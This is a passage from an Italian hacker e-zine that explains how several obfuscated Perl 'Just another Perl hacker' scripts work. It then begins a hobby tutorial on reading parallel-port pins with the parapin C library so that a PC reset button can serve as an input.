| # ottenere l'effetto simmetria. |
| |
| # PS: provate a settare un valore basso |
| # al posto di 69 :-) |
| |
| my @dromedary1=split(//); # Ogni carattere della riga letta viene |
| # associato a un elemento dell'array. |
| |
| if(defined($_=<DATA>)){ |
| |
| @camel1hump=split(//); # Stessa cosa per la riga immediatamente |
| # successiva. |
| |
| } |
| |
| while(@dromedary1){ # Finchè esistono elementi in @dromedary1 |
| # viene ripetuto il ciclo (vengono sottratti a |
| # coppie di 2 dagli shift() sottostanti). |
| |
| my $camel1hump=0; |
| my $CAMEL=3; |
| |
| if(defined($_=shift(@dromedary1)) && /\S/ ){ # Questa e le |
| # condizioni successive sono |
| # verificate se il carattere |
| # esiste e non è uno spazio |
| |
| $camel1hump+=1<<$CAMEL; # $camel1hump += 8; |
| |
| # Per chi non lo ricordasse, |
| # l'operatore <<, detto molto terra |
| # terra, aggiunge degli zeri alla |
| # destra del numero, portato però in |
| # versione binaria. |
| |
| # Esempio: 2 == 0b10; |
| # 2<<2 == 0b1000 == 8; |
| # (aggiunti 2 zeri a 0b10) |
| } |
| |
| $CAMEL--; |
| |
| if(defined($_=shift(@dromedary1)) && /\S/ ){ |
| |
| $camel1hump+=1<<$CAMEL; # $camel1hump += 4; |
| |
| } |
| |
| $CAMEL--; |
| |
| if(defined($_=shift(@camel1hump)) && /\S/ ){ |
| |
| $camel1hump+=1<<$CAMEL; # $camel1hump += 2; |
| |
| } |
| |
| $CAMEL--; |
| |
| if(defined($_=shift(@camel1hump)) && /\S/ ){ |
| |
| $camel1hump+=1<<$CAMEL; # $camel1hump += 1; |
| |
| } |
| |
| $camel.=(split(//," ..m`{/J\047\134}L"7FX"))[$camel1hump]; |
| |
| # A seconda dei caratteri nei "blocchi" estratti e del |
| # conseguente risultato finale di $camel1hump, viene aggiunto a |
| # $camel, che verrà poi stampato, un determinato carattere (vedi |
| # legenda sopracitata). |
| |
| # \047 e \134 vengono interpolati ed equivalgono a "'" e a "\" . |
| |
| } |
| |
| $camel.="\n"; |
| |
| foreach $_ (@camel1hump) { |
| |
| chomp $_; |
| $Camel = $_; |
| |
| y/LJF7\173\175`\047/12345678/; # Distrattore: trasforma |
| # determinati caratteri in numeri, |
| y/12345678/JL7F\175\173\047`/; # poi li riporta come |
| # prima. :-PP |
| |
| $_ = reverse $_; |
| |
| print "$_ $Camel\n"; # Stampa la stringa in modo |
| # simmetrico. |
| |
| } |
| |
| foreach $_ (@camel1hump) { |
| |
| chomp $_; |
| $Camel = $_; |
| |
| y/LJF7\173\175`\047/12345678/; # Vedi commento di prima. |
| y/12345678/JL7F\175\173\047`/; |
| |
| $_ = reverse $_; |
| print " $_$Camel\n"; # Come prima, in maniera |
| # rovesciata. |
| |
| } |
| |
| '; # Qui termina la stringa assegnata a $_ |
| |
| s/\s*//g; # Cancella tutti gli spazi in $_ |
| |
| eval; # Tramuta in codice Perl la stringa $_, e lo esegue |
| |
| |
| |
| Il codice è stato inserito nella variabile $_ e poi eseguito con |
| eval() perchè nella forma "cammelloidale" quelle istruzioni |
| avrebbero generato errori. In questo modo, invece, si riesce a |
| preservare il disegnino e poi ad eseguire il codice, privandolo |
| prima degli spazi di troppo. |
| |
| Noterete dei caratteri ottali nel codice originale: sono stati messi |
| sia per completare il disegno, sia per mettere un po' di confusione |
| :) |
| |
| A completare degnamente, una ulteriore rielaborazione del disegno. |
| Ecco il codice: |
| |
| |
| eval("seek\040DATA,0,0;"); # Come prima, puntatore all'inizio del |
| # sorgente. |
| |
| undef $/; # Vedi script precedenti. |
| |
| $_ = <DATA>; # $_ contiene tutto il disegno |
| |
| s/\s*//g; # elimina gli spazi vuoti |
| |
| ( ); # Però... lista vuota in contesto |
| # vuoto... carino :) |
| |
| s/".*_//; # Cancella tutto fino a __DATA__ compreso. |
| |
| |
| # Ora $_ contiene il seguente ammasso di cifre ottali: |
| |
| #\124\150\145\040\165\163\145\040\157\146\040\141\040\143\141\155\145 |
| #\154\040\151\155\141\147\145\040\151\156\040\141\163\163\157\143\151 |
| #\141\164\151\157\156\040\167\151\164\150\040\120\145\162\154\040\151 |
| #\163\040\141\040\164\162\141\144\145\155\141\162\153\040\157\146\040 |
| #\117\047\122\145\151\154\154\171\040\046\012\101\163\163\157\143\151 |
| #\141\164\145\163\054\040\111\156\143\056\040\125\163\145\144\040\167 |
| #\151\164\150\040\160\145\162\155\151\163\163\151\157\156\056 |
| |
| map { eval ("print\"$_\""); } $_ =~ /.{4}/g; # La regex passa a |
| # map() ogni corrispondenza, |
| # ossia un numero ottale. Poi |
| # questo viene interpolato da |
| # eval() e stampato |
| |
| # Per convertire un ottale in carattere: printf "%c\n",\0101; |
| |
| |
| |
| Bel modo di citare i diritti d'autore :-) |
| |
| Ora, direttamente dall'Obfuscated Perl Contest, una chicca per i |
| mistificatori di codice: |
| |
| (dove vedete i ritorni a capo vuol dire che il codice non entrava |
| bene negli angusti limiti di questa rivista :) immaginate tutto con |
| un orrido rettangolone di segnacci) |
| |
| /;{}def/#{def}def/$_={/Times-Bold exch |
| selectfont}#/_{rmoveto}#/"{dup}#/*/!/$ |
| ;/q{exch}#/x ; {/J q #}#/.{/T q #}#{stringwidth}#{}#{}# 14 string |
| dup dup dup |
| 260 40 moveto 90 rotate ; %/}};$0='"\e[7m |
| \e[0m"';@ARGV=split//,reverse |
| q(ThePerl). q(Journal) x 220 ; q ; 0 T putinterval exch 7 J |
| putinterval ; |
| ; $_= q /m$ pop T($*!$"=!$ " )pop " * true% ? $ " $!" " !! !! % |
| !" !" ! |
| ! charpath {!"""}pop $ pop{""!}pop ! neg{!#}pop 220 ! neg _{!!}pop J |
| false %T |
| charpath clip " pop 0 " moveto 6{!!}pop $_= 105{!!}pop {$ ! $ " ! |
| #! ##} |
| pop{dup dup $ ! " pop pop q{"}pop 22{dup show}repeat {"}pop q 22 |
| mul{$ "} pop |
| neg{!#! $ "}pop ! 8 .65 mul{$ # # $}pop ! neg{"}pop _ pop{"}pop } |
| repeat pop |
| " { $ " ! ! ! $ " ! !" "#" #"!"""""! #" " # |
| "m/;@ARGV=(@ARGV[-14..-1])x50;q} |
| 0 |
| "%};s/m[ou]|[-\dA-ln-z.\n_{}]|\$_=//gx;s/(.)(?{$*=''})/('$*.='.(++$# |
| %2?'':"$0;").'pop;')x(ord($1)-31).'$*'/gee;s/((.(\e\[.m)*|.){77})/$1 |
| \n/g;print |
| ; sub showpage {} |
| |
| |
| |
| Un fatto a posta per rincitrullire gli analizzatori di codice... se |
| volete, provate a ordinare da soli il codice, altrimenti date una |
| sbirciata qua sotto. |
| |
| |
| |
| $0 = '"\e[7m \e[0m"'; |
| |
| @ARGV = split //, reverse q(ThePerlJournal) x 220; |
| |
| $_ = q /m$ pop T($*!$"=!$ " )pop " * true% ? $ " $!" " !! !! % !" |
| !" ! |
| ! charpath {!"""}pop $ pop{""!}pop ! neg{!#}pop 220 ! neg _{!!}pop J |
| false %T |
| charpath clip " pop 0 " moveto 6{!!}pop $_= 105{!!}pop {$ ! $ " ! |
| #! ##} |
| pop{dup dup $ ! " pop pop q{"}pop 22{dup show}repeat {"}pop q 22 |
| mul{$ "} pop |
| neg{!#! $ "}pop ! 8 .65 mul{$ # # $}pop ! neg{"}pop _ pop{"}pop } |
| repeat pop |
| " { $ " ! ! ! $ " ! !" "#" #"!"""""! #" " # "m/; |
| |
| @ARGV = ( @ARGV[ -14 .. -1 ] ) x 50; |
| |
| s/m[ou]|[-\dA-ln-z.\n_{}]|\$_=//gx; |
| |
| s/(.)(?{$*=''})/('$*.='.(++$#%2?'':"$0;").'pop;')x(ord($1)-31).'$*'/gee; |
| |
| s/((.(\e\[.m)*|.){77})/$1\n/g; |
| |
| print; |
| |
| |
| Questo è il codice che produce qualche risultato, il resto |
| specchietti per le allodole (funzioni e blocchi che ritornano valori |
| in contesti vuoti, o regex che trattano la $_ ancora vuota). |
| |
| C'è comunque da lavorarci per capire qualcosa! Con l'istruzione |
| |
| $0 = '"\e[7m \e[0m"'; |
| |
| la variabile conterrà uno spazio vuoto dello stesso colore del |
| testo, formando un rettangolo colorato, che formerà la parte finale |
| dell'output. |
| |
| Poi @ARGV; niente di che, contiene un array fatto dalle lettere, |
| ordinate al contrario, di "ThePerlJournal"; il tutto ripetuto |
| (inutilmente) 220 volte. |
| |
| Dopo, l'istruzione |
| |
| @ARGV = ( @ARGV[ -14 .. -1 ] ) x 50; |
| |
| prende i suoi 14 ultimi elementi (ossia la frase iniziale al |
| contrario) e sovrascrive il vecchio array con questa lista ripetuta |
| 50 volte. E finora nulla di eccezionale. |
| |
| Poi, la dichiarazione di $_ : come faremo a cavarci qualcosa di |
| buono da questo sgorbio? :-P |
| |
| Comunque, dopo l'istruzione |
| |
| s/m[ou]|[-\dA-ln-z.\n_{}]|\$_=//gx; |
| |
| che cancella qualche cosetta, le cose sembrano migliorare |
| |
| m$ ($*!$"=!$ " ) " * % ? $ " $!" " !! !! % !" !" !! !""" $ |
| ""! ! !# ! ! |
| ! % " " !! !! $ ! $ " ! #! ## $ ! " " " $ " !#! $ " |
| ! $ # # $ |
| ! " " " $ " ! ! ! $ " ! !" "#" #"!"""""! #" " # "m |
| |
| ma tutto è chiaro dopo la seguente regex: |
| |
| s/(.)(?{$*=''})/('$*.='.(++$#%2?'':"$0;").'pop;')x(ord($1)-31).'$*'/gee; |
| |
| Come dite? Non si capisce un fico secco? Forse è meglio chiarire il |
| concetto che sta alla base di questo script. |
| |
| s/ |
| (.)(?{$*=''}) |
| / |
| ( |
| |
| '$*.= ' . |
| |
| ( ++$# % 2 ? '' : "$0;" ) . |
| |
| 'pop;' |
| |
| ) x (ord($1)-31) . '$*' |
| |
| /geex; |
| |
| |
| ( Per una eventuale rinfrescatina di memoria: man perlre ) |
| |
| |
| Così va un po' meglio. Ora, questa espressione compie una |
| sostituzione per ogni carattere contenuto in $_; inoltre, il blocco |
| (?{$*=''}) , che non influenza in nessun modo il pattern da |
| cercare, cancella il contenuto della variabile $* prima di lasciar |
| compiere una sostituzione sul carattere successivo trovato (la |
| regex termina per /g). Ora, grazie alla stringa "ee" presente alla |
| fine del l'operatore s///, l'ultima parte della regex viene |
| considerata come un blocco prima da elaborare (come se fosse passato |
| alla eval() ), e poi da interpolare prima di sostituire. |
| |
| Il blocco fa sì che, alternativamente, vengano stampati caratteri da |
| @ARGV (con l'istruzione "pop;") o quei rettangoli contenuti in $0. |
| Esaminando con attenzione il codice, sarà chiaro come l'interprete |
| riesce a capire quando stampare la scritta normale e quando il |
| rettangolo colorato fino a formare "The Perl Journal". |
| |
| La prima volta che la regex trova un carattere da sostituire (il |
| primo, "m"), "++$# % 2" restituisce 1 (ricordo che sempre bene non |
| lasciarsi depistare dal l'eventuale valore particolare dato di |
| default alle variabili: in questo caso $# è undef e ++$# è uguale a |
| 1). Per cui |
| |
| ('$*.='.(++$#%2?'':"$0;").'pop;') |
| |
| restituirà la stringa |
| |
| '$*.=pop;' |
| |
| dopodichè essa verrà ripetuta (ord($1)-31) volte. Per cui si capisce |
| come gli sgorbi di $_ siano stati scelti appositamente per |
| restituire un determinato codice ASCII e far ripetere l'operazione |
| un determinato numero di volte. Alla fine avremo: |
| |
| $*.=pop;$*.=pop;$*.=pop;$*.=pop;$*.=pop;$*.=pop; # fino a 78 volte |
| |
| Alla fine di questa trafila, vi è la semplice stringa "$*;", che |
| indica, al momento della fase di interpolazione del carattere da |
| sostituire, di utilizzare la stringa ottenuta dai 78 elementi |
| pop()ati da @ARGV. |
| |
| Dopodichè, si passa al secondo carattere di $_; stavolta "++$# % 2" |
| restituirà 0, e avremo una trafila differente: |
| |
| $*.="$0";pop;$*.="$0";pop;$*.="$0";pop; # fino a 5 volte |
| |
| Alla fine, la variabile $* che sarà sostituita al carattere di $_ |
| sarà pari a 5 rettangoli consecutivi. |
| |
| Arrivati al terzo carattere di $_, viene ripetuta la sostituzione |
| iniziale, ossia con le lettere in @ARGV. I precedenti pop() hanno |
| fatto in modo che siano stati cancellati elementi tali da dare |
| l'effetto di "sovrapposizione" nel testo stampato alla fine. |
| |
| Infine: |
| |
| s/((.(\e\[.m)*|.){77})/$1\n/g; |
| |
| in tal modo viene inserito in $_ un \n ogni 77 caratteri (il pattern |
| è fatto in modo da considerare "\e[7m \e[0m", ossia il rettangolino, |
| come un carattere). |
| Alla fine per il risultato è valsa la pena :-] |
| |
| |
| |
| Ora una cosa molto simpatica... non potevo non pubblicarla :) |
| |
| |
| #Abigail |
| $; # A lone dollar? |
| =$"; # Pod? |
| $; # The return of the lone dollar? |
| {Just=>another=>Perl=>Hacker=>} # Bare block? |
| =$/; # More pod? |
| print%; # No right operand for %? |
| |
| |
| A domanda, risposta: |
| |
| |
| $; # No, tutto (quasi) quello fra lo $ e lo |
| # = è un nome di variabile |
| |
| =$"; # No, operatore d'assegnamento per $; |
| |
| $; # No, ora si tratta dell'hash %; |
| |
| {Just=>another=>Perl=>Hacker=>} # No, serie di chiavi riferita a %; |
| |
| =$/; # No, assegna \n all'ultima chiave |
| |
| print%; # No, nell'ultima istruzione può |
| # essere omesso il ; , per cui |
| # stampa l'hash %; |
| |
| |
| |
| Scusate, ma quando ci vuole, ci vuole :) |
| |
| Tornando alle cose serie, ecco un altro programma interessante, di |
| Abigail: |
| |
| |
| @_=map{[$!++=>$_"$/]}split$¾=>"\@\x7Fy~*kde~box*Zoxf*Bkiaox";$\="\r"; |
| $|=++$*;do{($#=>$=)=(rand@_=>rand@_);@_[$#,$=]=@_[$=,$#]}for($*..@_); |
| for$:($|..@_-$|){for($|..@_-$:){@_[$_-$|,$_]=@_[$_=>$_-$*]if$_[$_][$º |
| ]<$_[$_-$*][$Æ];print+map{$_->[$|]}@_;select$?,$?,$?,"$[.$|"}}print$/ |
| |
| |
| Ancora una volta il risultato supera le nostre aspettative |
| (daltronde, cosa c'è d'aspettarsi da un blocco informe di caratteri |
| ? :-) ) ... |
| |
| Ecco la matassa parzialmente sbrogliata: |
| |
| |
| #!/usr/bin/perl |
| |
| @_ = map {[ $!++ , $_"$/]} split $¾=>"\@\x7Fy~*kde~box*Zoxf*Bkiaox"; |
| |
| $\ = "\r"; |
| |
| $| = ++$*; |
| |
| |
| do { |
| |
| ($#, $=) = (rand @_, rand @_); |
| |
| @_[$#,$=] = @_[$=,$#] |
| |
| } for ($* .. @_); |
| |
| |
| for $: ($| .. @_ - $|) { |
| for ($| .. @_ - $:) { |
| |
| if ( $_[$_][$º] < $_[$_-$*][$Æ] ) { |
| |
| |
| @_[$_-$|, $_] = @_[$_ , $_-$*]; |
| |
| |
| } |
| |
| print map { $_->[$|] } @_; |
| |
| select $~E, $~C, $~G, "$[.$|"; |
| |
| } |
| } |
| |
| print $/; # Stampa "\n" |
| |
| |
| |
| Ancora una volta non mancano delle offuscazioni... "=>" usati a |
| sproposito al posto delle "," (sono però equivalenti :-P), nomi |
| strani di variabili (tutte quelle col nome tipo "$¾" sono da |
| considerarsi equivalenti eleganti della stringa vuota :) ), ma con |
| una buona indentazione non ci saranno molte difficoltà. |
| |
| |
| @_ = map {[ $!++ , $_"$/]} split =>"\@\x7Fy~*kde~box*Zoxf*Bkiaox"; |
| |
| Questa istruzione crea un array bidimensionale @_, in cui ogni |
| elemento contiene a sua volta uno dei 125 messaggi di errore |
| dell'interprete (ottenuti con successive iterazioni di $!++), e il |
| risultato dello XOR fra uno dei caratteri della scritta strana e il |
| ritorno a capo. Guarda caso, le lettere risultanti dallo XOR formano |
| una frase familiare.. |
| |
| |
| |
| $i | $_[$i][0] | $_[$i][0] |
| --------+-------------------------------------------+------------- |
| 0 | | J |
| 1 | Operazione non permessa | u |
| 2 | File o directory inesistente | s |
| 3 | Processo inesistente | t |
| 4 | Chiamata di sistema interrotta | |
| 5 | Errore di input/output | a |
| 6 | Dispositivo o indirizzo inesistente | n |
| 7 | Lista degli argomenti troppo lunga | o |
| 8 | Errore di formato di exec | t |
| 9 | Descrittore di file non valido | h |
| 10 | Non ci sono processi figli | e |
| 11 | Risorsa temporaneamente non disponibile | r |
| 12 | Impossibile allocare memoria | |
| 13 | Permesso negato | P |
| 14 | Indirizzo non valido | e |
| 15 | È necessario un dispositivo a blocchi | r |
| 16 | Dispositivo o risorsa occupata | l |
| 17 | Il file esiste | |
| 18 | Link tra dispositivi non valido | H |
| 19 | Dispositivo inesistente | a |
| 20 | Non è una directory | c |
| 21 | È una directory | k |
| 22 | Argomento non valido | e |
| 23 | Troppi file aperti nel sistema | r |
| |
| |
| Emh forse è una tabella piuttosto inutile, ma fa pensare al |
| tentativo di offuscazione che tenta l'autore :) |
| |
| Infatti vedremo che le stringhe di errore non verranno usate, mentre |
| le lettere della frase sì. Ma andiamo con ordine. |
| |
| $\ = "\r"; |
| |
| La variabile $\, ricordo, è il separatore di linea dell'output, |
| ossia quello che viene stampato dopo qualsiasi istruzione print(). |
| Con il carattere "\r", "carriage return", l'ultima linea stampata |
| viene cancellata e ogni print() scriverà al posto di quest'ultima: |
| settando $\ a tale valore avviene una continua "sovrapposizione" di |
| scritte, a formare l'effetto di animazione finale. |
| |
| Provando a settare questa variabile con "\n" le cose saranno ancora |
| più chiare.. |
| |
| $| = ++$*; |
|
|
| La variabile $*, che in questo caso non è considerata per il suo |
| valore speciale, viene settata ad 1 e $| acquista il suo valore. |
| Come ogni Perl programmer sà, quando questa variabile viene settata |
| il buffering viene disabilitato, in modo che ogni operazione di |
| scrittura venga effettuata immediatamente. |
| |
| do { |
| |
| ($#, $=) = (rand @_, rand @_); |
| |
| @_[$#,$=] = @_[$=,$#] |
| |
| } for ($* .. @_); # Da 1 a 23 |
| |
| Per un numero di volte pari alla grandezza dell'array, due elementi |
| di @_ a caso vengono invertiti fra di loro in modo da mischiare le |
| lettere della frase. |
| |
| Ora viene il bello: |
| |
| |
| for $: ($| .. @_ - $|) { # 1 .. 22 |
| for $_ ($| .. @_ - $:) { # 1 .. ( 22 .. 1 ) |
| |
| |
| if ( $_[$_] < $_[$_-$*] ) { # Ho sostituito $_[$_][$º] e |
| # $_[$_-$*][$Æ] con $_[$_] e |
| # $_[$_-$*], tanto il dato |
| # restituito è lo stesso (la |
| # reference che punta ad un |
| # sub-array). |
| |
| @_[$_-$|, $_] = @_[$_ , $_-$*]; |
| |
| |
| } |
| |
| print map { $_->[$|] } @_; |
| |
| select $~E, $~C, $~G, "$[.$|"; |
| |
| } |
| } |
| |
| |
| Si tratta evidentemente di due cicli annidati. Il primo ciclo fa in |
| modo che il secondo ciclo parta da un determinato carattere di @_ |
| (quindi parte da uno e arriva quasi alla fine). Il secondo ciclo |
| esegue delle istruzioni tra il carattere indicato dal ciclo |
| precedente e l'ultimo carattere di @_. |
| Per capire il perchè di questo basta esaminare il resto del codice: |
| |
| if ( $_[$_] < $_[$_-$*] ) { |
| |
| @_[$_ - $|, $_] = @_[$_ , $_-$*]; |
| |
| } |
| |
| Prima, però, un piccolo passo indietro. Al momento della creazione |
| di @_, viene aggiunto per ogni iterazione di map() un elemento che |
| viene a costituire parte di un array bidimensionale. Poichè in Perl |
| questo tipo di array non è altro che un array contenente una serie |
| di references ad altri array, anonimi, dando l'illusione della |
| bidimensionalità, un istruzione del tipo $_[1] restituirà un dato di |
| tipo reference, contenente la struttura a cui punta (ARRAY) e un |
| numero esadecimale (es. 0x81070b8). Poichè man mano che @_ viene |
| popolato di references il valore esadecimale associato alla |
| reference cambia, otteniamo qualcosa di simile: |
| |
| $i | $_[$i][1] | $_[$i] |
| ------+-------------+------------------- |
| 1 | J | ARRAY(0x81070b8) |
| 2 | u | ARRAY(0x81070e8) |
| 3 | s | ARRAY(0x8107118) |
| 4 | t | ARRAY(0x8107148) |
| 5 | | ARRAY(0x8107178) |
| 6 | a | ARRAY(0x81071a8) |
| 7 | n | ARRAY(0x81071d8) |
| 8 | o | ARRAY(0x8107208) |
| 9 | t | ARRAY(0x8107238) |
| 10 | h | ARRAY(0x8107268) |
| 11 | e | ARRAY(0x8107298) |
| 12 | r | ARRAY(0x81072c8) |
| 13 | | ARRAY(0x81072f8) |
| 14 | P | ARRAY(0x8107328) |
| 15 | e | ARRAY(0x8107358) |
| 16 | r | ARRAY(0x8123bcc) |
| 17 | l | ARRAY(0x8123bfc) |
| 18 | | ARRAY(0x8123c2c) |
| 19 | H | ARRAY(0x8123c5c) |
| 20 | a | ARRAY(0x8123c8c) |
| 21 | c | ARRAY(0x8123cbc) |
| 22 | k | ARRAY(0x8123cec) |
| 23 | e | ARRAY(0x8123d1c) |
| 24 | r | ARRAY(0x8123d4c) |
| |
| |
| Si può notare che i valori esadecimali sono via via crescenti. In |
| questo modo, pur mischiando le lettere della frase, essi sono utili |
| per ricomporre l'ordine iniziale. |
| |
| Così, al momento dell' if() , se il carattere indicato da $_, |
| considerando la frase "Just another perl Hacker", viene dopo il |
| carattere alla sua sinistra, questi due caratteri vengono invertiti. |
| Altrimenti, @_ rimane invariato. Dopo, l'array viene subito stampato |
| sovrascrivendo il testo precedente (vedi \r) |
| |
| print map { $_->[$|] } @_; # $| == 1 |
| |
| Eppoi viene effettuata una piccola pausa, tramite l'uso "improprio" |
| della chiamata di sistema select(2): |
| |
| select '', '', '', "$[.$|"; # $~E == $~C == $~G == undef; |
| # "$[.$|" è un numero casuale fra |
| # 0 e 0.23 |
| |
| Questa istruzione ritorna un valore dopo un numero casuale di |
| millisecondi, fungendo come una funzione sleep(). |
| |
| Esaminiamo il meccanismo di sostituzione dei caratteri: |
| |
| |
| l ae PtanrheuckrsJHetor # comincia facendo "spostare" lo " " al |
| # posto di "l" |
| la e PtanrheuckrsJHetor # ha invertito " " con "a" |
| lae PtanrheuckrsJHetor # stavolta " " <-> "e" |
| lae PtanrheuckrsJHetor # scambia i due spazi vuoti |
| lae P tanrheuckrsJHetor # " " <-> "t" |
| lae Pt anrheuckrsJHetor # ATTENZIONE: la "a" viene, nell'ordine, |
| # dopo lo " " |
| lae Pt anrheuckrsJHetor |
| lae Pt narheuckrsJHetor # Inverte la "a" con la "n" |
| lae Pt narheuckrsJHetor # ATTENZIONE: la "r" di "Hacker" va dopo |
| # la "a" |
| lae Pt nahreuckrsJHetor # Ora la "r" è quella a essere spostata |
| lae Pt naheruckrsJHetor |
| lae Pt naheurckrsJHetor |
| lae Pt naheucrkrsJHetor |
| lae Pt naheuckrrsJHetor |
| lae Pt naheuckrrsJHetor |
| lae Pt naheuckrsrJHetor |
| lae Pt naheuckrsJrHetor |
| lae Pt naheuckrsJHretor |
| lae Pt naheuckrsJHertor |
| lae Pt naheuckrsJHetror |
| lae Pt naheuckrsJHetorr |
| lae Pt naheuckrsJHetorr |
| lae Pt naheuckrsJHetor r # poichè la "r" è l'ultima, arriva fino |
| # alla fine |
| ale Pt naheuckrsJHetor r # ricomincia partendo con la "l" |
| |
| |
| Tutto questo ripetuto per ogni carattere: si parte dal primo |
| carattere, sostituendolo man mano col successivo se questo non viene |
| dopo nella successione "Just another perl Hacker", altrimenti si |
| sposta quel carattere, finchè non viene spostato un carattere fino |
| alla sua posizione originaria. Questo per ogni carattere, quindi |
| finchè non è raggiunto l'ordine giusto :-P |
| |
| Spero di essere riuscito a rendere il meccanismo dello script! Da |
| tutto questo si capisce che le stringhe di errore inserite in @_ non |
| erano inutili ma servivano affinchè questo array fosse |
| bidimensionale e fosse possibile poi metterlo in ordine tramite i |
| valori esadecimali. Davvero ingegnoso! :) |
| |
| |
| Un'ultimo script, anche esso originale: |
| |
| #John Porter <jdporter@min.net> |
| eval { 62->lZRopcwjoXyup_yuGpXcxbyu() }; |
| $@ =~ s/"(.*?)"/"ss"/; |
| print((split//,$@)[map{ord($_)-62}split//,$1],",\n"); |
| |
| |
| Il suo meccanismo è molto semplice ma interessante dal punto di |
| vista dell'offuscazione: la eval() iniziale |
| |
| eval { 62->lZRopcwjoXyup_yuGpXcxbyu() }; |
| |
| chiama un metodo inesistente da un oggetto inesistente, senza |
| apparentemente generare errore... è a questo che serve eval(), no? |
| (<flame> altro che java! :) </flame>) |
| |
| Quello che ci interessa però è il contenuto di $@ |
| |
| |
| Can't call method "lZRopcwjoXyup_yuGpXcxbyu" without a package or |
| object reference at ./4.pl line 3. |
| |
| |
| ossia l'errore catturato dalla "eccezione". Dopo, questo viene |
| modificando cambiando il testo tra le virgolette in questo modo |
| |
| |
| Can't call method "ss" without a package or object reference at |
| ./4.pl line 3. |
| |
| |
| E infine fu |
| |
| |
| print ( (split//,$@)[map {ord($_)-62} split//,$1], ",\n" ); |
| |
| |
| Con questa il contenuto di $1, ossia "lZRopcwjoXyup_yuGpXcxbyu", |
| viene splittato e passato a map(), la quale restituisce i codici |
| ASCII di questi caratteri dopo avergli sottratto 62. Intanto, la |
| variabile $@ è stata divisa in un array di caratteri, di cui vengono |
| stampati gli elementi con indice uguale ai valori restituiti da |
| map(). Ancora una volta, ne caviamo "just another perl hacker,". |
| |
| |
| THE END ? |
| |
| |
| Questi erano soltanto alcuni dei tantissimi script presenti in |
| rete... se avete ancora appetito, vi suggerisco di dare uno sguardo |
| al sito che vi ho indicato prima, oppure visitare il sito dei Perl |
| Monks. |
| |
| Inoltre, c'è un altro script, tra i miei preferiti, di cui non ho |
| parlato. Questo perchè esiste una spiegazione scritta dallo stesso |
| autore, M.J.Dominus (miticuzzo! :-) ). Il tutto è reperibile presso |
| |
| http://perl.plover.com/obfuscated |
| |
| ce n'è una copia anche sul mio sito. |
| |
| Inoltre, vi lascio una piccola chicca, la mia firma. In confronto |
| dei precedenti è un JAPH meno offuscato ma comunque divertente :-) |
| |
| |
| @a=qw/i p s hax t xlpx u e t o q hx e u l ae f o rrr a k t cn j |
| /;unshift@a,[@ |
| a];chop($b=$b=~/".{0,$_}/&&$&.(chop$b).$')for 0..length |
| ($b=join$b,a..x);$b=~/ |
| $&/x,$c=$-[0]||$c||length$b,$_.=chop$a[$c],/.$/while$#a>=length;s/$&/ |
| /g,print |
| |
| (ancora una volta, gli angusti margini della vita hanno sgretolato la |
| perfezione rettangolare di questo script :-P ) |
| |
| A voi! Vince un bacio in fronte chi mi scrive per primo la soluzione |
| :* |
| |
| |
| |
| |
| Perl hacks explained - 12/04/2002 |
| |
| |
| di Roberto Natella "Domine" |
| |
| |
| Mail: domine@paranoici.org |
| WWW: http://www.autistici.org/domine/index.php |
| IRC: Domine @ IRCNet, AzzurraNet |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ MiSC #07 - 01/08/2002 |
| AGGiUNGiAM0 iL TAST0 MUSiC [lesion] 0x10/0x19 |
+--------------------------------------------------------------------------+
| praticamente ieri dovevo vedere come prendere in input un segnale |
| dalla parallela, perke' mi serve x il progetto della serra, allora |
| riprendo le vekkie parapin ke inb nn ha nemmeno l'help e inizio a |
| smanettare. le parapin sono delle librerie x gestire a basso livello |
| l'i/o della porta parallela. il primo programma ke ne esce, prende |
| spudoratamente codice dall'esempio |
| fornito con le parapin e nn fa' altro ke leggere lo stato delle porte: |
| |
| #include <parapin.h> |
| #include <stdio.h> |
| |
| int main() |
| { |
| int i; |
| pin_init_user(LPT1); |
| pin_input_mode(LP_PIN01,LP_DATA_PINS,LP_PIN17); |
| |
| while(1) |
| { |
| for (i=1;i<=17;i++) |
| printf(pin_is_set(LP_PIN[i])?"1":"0"); |
| printf("\n"); |
| usleep(10000); |
| } |
| } |
| |
| |
| la prima funzione, inizializza il tutto, ovvero dice a linux ke |
| vogliamo fare operazioni con la parallela. LPT1 indica l'indirizzo a |
| cui comunemente viene indirizzata la parallela (0x378). pin_input_mode |
| gli dice invece ke deve stare pronto, ke tutti i pin ke gli abbiamo |
| specificato come argomento li uso come input. LP_DATA_PINS indica |
| tutti i pin da 2 a 9, poi abbiamo il primo, il 17 e gli altri, 10, 11, |
| 12, 13 e 15 ke sono sempre in input, quindi nn dobbiamo |
| settarli. |
| ora salviamo come prova.c e compiliamo con: |
| cc prova.c -lparapin |
| ora avviamo il programma (da root altrimenti esce con un segv ke nn |
| abbiamo nemmeno fatto il controllo), e iniziamo a vedere ke stampa su |
| skermo,strisce di 0 e 1 lunghe 17 cifre. |
| prendiamo un cavo x la parallela a 25 pins, tagliamolo da una parte |
| (quella ke nn sia attakka al pc) e iniziamo a muovere con la mano i |
| fili (dopo averli spellati). se e' andato tutto ok dovreste vedere |
| delle cifre cambiare sullo skermo, altrimenti dovrete smanettare con i |
| settaggi della parallela dal bios o da qualke altra parte. |
| le cifre cambiano quando la massa viene a contatto con un pin di input, |
| quello ke cambia il suo stato appunto. |
| dopo aver visto questo, la mia mente contorta ha subito pensato al |
| peggio ovviamente (emmika il mio nick e' casuale :P), e voltando gli |
| okki verso il basso, noto un case di un 486 vuoto, ma con un cosillo |
| interessante: il tasto reset. tanti ragionamenti nel giro di 2 |
| millisecondi x capire ke era quello ke faceva x me. la felicita' |
| prende possesso del mio corpo quando inizio a prendere il tester e a |
| capire quali pin del tasto reset cambiavano stato una volta ke lo |
| premevo. saldatore alla mano collego immediatamente il primo pin di |
| input della parallela ke trovo ad un pin del tastino reset appena |
| trovato, e l'altro pin del reset alla massa della parallela (la |
| riconoscete perke' e' l'unico filo senza guaina). |
| fatto cio', modifico il programma di prima in qlcsa del genere: |
| |
| #include <parapin.h> |
| #include <stdio.h> |
| |
| int main() |
| { |
| int i; |
| pin_init_user(LPT1); |
| pin_input_mode(LP_PIN03); |
| |
| while(1) |
| { |
| printf(pin_is_set(LP_PIN[3])?"1":"0"); |
| printf("\n"); |
| usleep(10000); |
| } |
| } |
| |
| ovviamente il 3 e' il primo pin di input ke ho trovato, e quindi |
| usato. compilando e avviando (sempre da root altrimenti nn abbiamo |
| accesso alla porta), ora il programma printa una sola cifra, ke |
| vedremo cambiare se il tasto reset viene premuto (NB: il tasto reset |
